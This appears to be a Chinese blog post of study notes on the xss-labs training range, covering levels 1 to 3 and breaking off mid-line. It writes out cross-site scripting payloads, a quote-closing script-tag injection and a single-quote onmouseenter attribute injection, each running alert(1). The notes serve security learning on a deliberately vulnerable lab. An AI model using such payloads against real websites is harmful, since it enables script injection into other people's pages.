qq_46117757的博客

原创 xss-labs靶场学习笔记

level1 直接在url写入js语句 level2 keyword后面或文本框输入 ">闭合value属性 123"><script>alert(1);</script> level3 查看源代码 value属性使用单引号 在输入框输入以下代码 ，提交后鼠标移到输入框完成。 123' onmouseenter='alert(1); <!--即整个标签为--> <input name=keyword ...